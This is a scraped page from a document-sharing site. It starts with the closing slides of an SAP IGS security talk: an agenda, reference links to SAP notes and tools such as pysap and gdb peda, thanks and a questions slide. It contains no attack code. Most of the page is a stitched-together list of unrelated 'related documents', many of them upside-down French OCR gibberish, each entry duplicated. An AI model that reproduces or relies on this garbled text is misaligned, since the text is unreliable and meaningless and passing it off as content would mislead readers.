AGENDAAGENDASAP IGSChart generatorZip serviceSpool serviceImage converterSecuring IGSConclusion

Page 101: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

MAKE THE WORLD A SAFER PLACEMAKE THE WORLD A SAFER PLACESeveral interes�ng content :

NetworkWebReverseSAP things...

Page 102: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

MAKE THE WORLD A SAFER PLACEMAKE THE WORLD A SAFER PLACENot so complicated ?Come and let's improve it !

Page 103: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SAP Security note ,

gdb peda

PySAP

SAP-Dissec�on

Devoteam

IGS SAP Help

2525222 2538829

h�ps://github.com/longld/peda

h�ps://github.com/CoreSecurity/pysap

h�ps://github.com/CoreSecurity/SAP-Dissec�on-plug-in-for-Wireshark

h�ps://www.cert-devoteam.fr/publica�ons/en/tag/sap-en/

https://help.sap.com/viewer/3348e831f4024f2db0251e9daa08b783/7.5.10/en-US/4e193ea5b5c617e2e10000000a42189b.html
https://launchpad.support.sap.com/#/notes/2525222
https://launchpad.support.sap.com/#/notes/2538829
https://github.com/longld/peda
https://github.com/CoreSecurity/pysap
https://github.com/CoreSecurity/SAP-Dissection-plug-in-for-Wireshark
https://www.cert-devoteam.fr/publications/en/tag/sap-en/
Page 104: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

THANK YOU !THANK YOU !SAP PSR Team - Mar�n Gallo - Monty - Bkth

Page 105: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

QUESTIONS ?QUESTIONS ?And... join us tomorow for 10k charity run !


Communauté d'agglomération Paris-Saclay › fileadmin › documents › 1._L_agglo › Instituti… · nod pn0D ap watuaôJaqaq sap ap ap (39 ap sanbnqwa sanbguonoap auõ!l ua ap

Communauté d'agglomération Paris-Saclay › fileadmin › documents › 1._L_agglo › Instituti… · nod pn0D ap watuaôJaqaq sap ap ap (39 ap sanbnqwa sanbguonoap auõ!l ua ap

Documents
AP SRM 7 EhP3 or SAP ERP 6 EhP7 - websmp202.sap-ag.desapidp/012002523100002826722015E/RDS_SLC...AP SRM 7 EhP3 or SAP ERP 6 EhP7 SAP Supplier Life Cycle Management 2.0 (SAP SLC 2.0

AP SRM 7 EhP3 or SAP ERP 6 EhP7 - websmp202.sap-ag.desapidp/012002523100002826722015E/RDS_SLC...AP SRM 7 EhP3 or SAP ERP 6 EhP7 SAP Supplier Life Cycle Management 2.0 (SAP SLC 2.0

Documents
2 - Sap Fi AP Exercise

2 - Sap Fi AP Exercise

Documents
SAP Concur infographic-ap-process-smarter-harder

SAP Concur infographic-ap-process-smarter-harder

Documents
 · xnao ap u011dooxo,1 luatuau1E.nua,p Ja s).10ds ap su!B.uaJ sap saañ10d sulpler sap so!lqnd saoedsa sap 'sasnopd sap sed lu0S au uoysaB e saBenno syl ap aoqod ap ao!AAOS np saade

 · xnao ap u011dooxo,1 luatuau1E.nua,p Ja s).10ds ap su!B.uaJ sap saañ10d sulpler sap so!lqnd saoedsa sap 'sasnopd sap sed lu0S au uoysaB e saBenno syl ap aoqod ap ao!AAOS np saade

Documents
Mapping SAP SD Customer ...AP CRM Business Partner

Mapping SAP SD Customer ...AP CRM Business Partner

Documents
€¦ · el e. nbsn! 'suogesÞsapauatua!ed np snos 'alqeten uogeasaue awas9Jd el • leq019 onb'uqaol ap la xnene.lt ap / op sap sap anb!utpal 'alssoo suouûldwetp ap .saups!d sap

€¦ · el e. nbsn! 'suogesÞsapauatua!ed np snos 'alqeten uogeasaue awas9Jd el • leq019 onb'uqaol ap la xnene.lt ap / op sap sap anb!utpal 'alssoo suouûldwetp ap .saups!d sap

Documents
Paper-Free AP with SAP Solutions - Esker

Paper-Free AP with SAP Solutions - Esker

Documents
Sap AP (Accounts Payable) User Training Tutorial |

Sap AP (Accounts Payable) User Training Tutorial |

Documents
remi.network · ap sapna? sal suep ap uo!pnpoaul add}D ap aueuodw! ua!anos un e a-I np same sap Dane 'swawaoueug sap nod sago,p spdde sap puod?' sal asyue6'0 /// 8LZ0N D0ddiet 34

remi.network · ap sapna? sal suep ap uo!pnpoaul add}D ap aueuodw! ua!anos un e a-I np same sap Dane 'swawaoueug sap nod sago,p spdde sap puod?' sal asyue6'0 /// 8LZ0N D0ddiet 34

Documents
hidromed.orghidromed.org/hm/images/pdf/BSEHM 1996_11(2)67-72_Pentcheva.pdf · 19 ap ap -our-IOW xnva :sgano SLOW sap xnv.taunu sap sapsaodsup op -DJIdpo.1d) sti0!suadsns sap aunpuooas

hidromed.orghidromed.org/hm/images/pdf/BSEHM 1996_11(2)67-72_Pentcheva.pdf · 19 ap ap -our-IOW xnva :sgano SLOW sap xnv.taunu sap sapsaodsup op -DJIdpo.1d) sti0!suadsns sap aunpuooas

Documents
bagagerue.orgbagagerue.org/.../06/Statuts-association-BagageRue.pdf · na(qo uos e satu.10Juoo sas ap unpoad np - sap np auasodwoo as uogeposse.l ap saoanossažl : sap E/ z ap aun

bagagerue.orgbagagerue.org/.../06/Statuts-association-BagageRue.pdf · na(qo uos e satu.10Juoo sas ap unpoad np - sap np auasodwoo as uogeposse.l ap saoanossažl : sap E/ z ap aun

Documents
Tehuacánacontable.tehuacan.gob.mx/wp/wp-content/uploads/... · NY ap ap as ua Sap el ap ap aged 'se]apueuu 5auoprSgqo sel ap anb .ep'puaac uçoe.qc el ap ua sap ep'sa'au set aaae»ues

Tehuacánacontable.tehuacan.gob.mx/wp/wp-content/uploads/... · NY ap ap as ua Sap el ap ap aged 'se]apueuu 5auoprSgqo sel ap anb .ep'puaac uçoe.qc el ap ua sap ep'sa'au set aaae»ues

Documents
SAP FI AP & AR

SAP FI AP & AR

Documents
 · - .(a.nsg.l ap an.' E 'sassq sap apauawaz.1Ddyp apoî!.'8 DI ap anagadns u SSI LS 'sauua.JDÐ sap anu EZ DI ap .anauadns l!asuoo swa.u03 sap apw mal - aped el mod saunat 6981

 · - .(a.nsg.l ap an.' E 'sassq sap apauawaz.1Ddyp apoî!.'8 DI ap anagadns u SSI LS 'sauua.JDÐ sap anu EZ DI ap .anauadns l!asuoo swa.u03 sap apw mal - aped el mod saunat 6981

Documents
 · ans 'sea—sled sap np ourssen saoanossa-l sap uovaoadsoad ar60toa6 e ap sat ans np ap axasap ans ap ap aed auo X sasodxa np e t ap np ap ' aoeJ-1ns ap :

 · ans 'sea—sled sap np ourssen saoanossa-l sap uovaoadsoad ar60toa6 e ap sat ans np ap axasap ans ap ap aed auo X sasodxa np e t ap np ap ' aoeJ-1ns ap :

Documents
UMB.sau!ewop sap SJnalua61J! SUOneUJJOg sap ups ne alcussod auauua1e6? aalnsgnod aun (2UaUJau51êSua el ap aa el ap - uones!J01en uonsao) uae) - saunossau sap uoneÄ!01dxa) uaeo enbv

UMB.sau!ewop sap SJnalua61J! SUOneUJJOg sap ups ne alcussod auauua1e6? aalnsgnod aun (2UaUJau51êSua el ap aa el ap - uones!J01en uonsao) uae) - saunossau sap uoneÄ!01dxa) uaeo enbv

Documents
Paper-Free AP with SAP Solutions - Esker AP . with SAP ® Solutions. Automated Processing. of Vender Invoices. . ESKER. Accounts Payable

Paper-Free AP with SAP Solutions - Esker AP . with SAP ® Solutions. Automated Processing. of Vender Invoices. . ESKER. Accounts Payable

Documents
Esker - Paper-Free AP With SAP Solutions

Esker - Paper-Free AP With SAP Solutions

Documents
€¦ · sap u ap sntd satqopuDd9 sao»yns .noa,p sanoa sap 111 auoz 4uauue noap sanoo 'nDass!nè ap ap .aunuuoa ap -¥.—.k NISS28 Na xnva9Now ap saunuuoo sal ans NOVS senbseN aaN01Vi

€¦ · sap u ap sntd satqopuDd9 sao»yns .noa,p sanoa sap 111 auoz 4uauue noap sanoo 'nDass!nè ap ap .aunuuoa ap -¥.—.k NISS28 Na xnva9Now ap saunuuoo sal ans NOVS senbseN aaN01Vi

Documents
SAP Business Fundamental-FICO AR-AP Configuration

SAP Business Fundamental-FICO AR-AP Configuration

Documents
 · 2017-06-06 · sal ap sap nual sanbrue8J0 -Joduro) un e ap uoddns anbeqo asa sanbrueî10 sap ap suoddns sap sap aoues » : au8!1nos 'Jensqns ap snassrunoJ sap alPD!puÁs alqureqo

 · 2017-06-06 · sal ap sap nual sanbrue8J0 -Joduro) un e ap uoddns anbeqo asa sanbrueî10 sap ap suoddns sap sap aoues » : au8!1nos 'Jensqns ap snassrunoJ sap alPD!puÁs alqureqo

Documents
 · 13-10-2015  · .swos sas aed sanbuqe} sn5uo:) !ssne Slew 'spulsn9J vossaJ e uo!s'anuoo ap sap sap suossaJ sap asod0Jd suo!suadsns sal nod anauadns ap saalossaooe,p aBueqoau ap

 · 13-10-2015  · .swos sas aed sanbuqe} sn5uo:) !ssne Slew 'spulsn9J vossaJ e uo!s'anuoo ap sap sap suossaJ sap asod0Jd suo!suadsns sal nod anauadns ap saalossaooe,p aBueqoau ap

Documents
€¦ · ap sap snou al IIS Jed al nod snol sal -ID nod sed el anb Inb q ap sou unp snþ snou sap np ap q Ins un nod lla sap md ap uollnps el anb IS spdd? sap e nod xnp -yddns sues

€¦ · ap sap snou al IIS Jed al nod snol sal -ID nod sed el anb Inb q ap sou unp snþ snou sap np ap q Ins un nod lla sap md ap uollnps el anb IS spdd? sap e nod xnp -yddns sues

Documents
Sap Fi AP Frequently User Procedures

Sap Fi AP Frequently User Procedures

Documents
Guia de Usuario Para Sap Fi AP 9

Guia de Usuario Para Sap Fi AP 9

Documents
Sap Fi AP Ar Concept

Sap Fi AP Ar Concept

Documents
 · sap » au!ewoa C] » au!ewoa . (tou) spuuo!ssapad sap C] xneB91 swewasa]da-l snal ap no sall!tue} snal ap no VS L oane ap swewas9JdðJ : (Iou) saaîesn sap np ne aamep!pue)

 · sap » au!ewoa C] » au!ewoa . (tou) spuuo!ssapad sap C] xneB91 swewasa]da-l snal ap no sall!tue} snal ap no VS L oane ap swewas9JdðJ : (Iou) saaîesn sap np ne aamep!pue)

Documents
SAP FI - Processos AR e AP

SAP FI - Processos AR e AP

Documents
 · -ua,l un -apl an R aun,p ap alqwas ap all!+ual es uauae el ap sap un.l ap a'na.. 'allon-ap-S!08 np el sap ap ana.n sucp x!oqa ap uoste.t -!oqa ap ap

 · -ua,l un -apl an R aun,p ap alqwas ap all!+ual es uauae el ap sap un.l ap a'na.. 'allon-ap-S!08 np el sap ap ana.n sucp x!oqa ap uoste.t -!oqa ap ap

Documents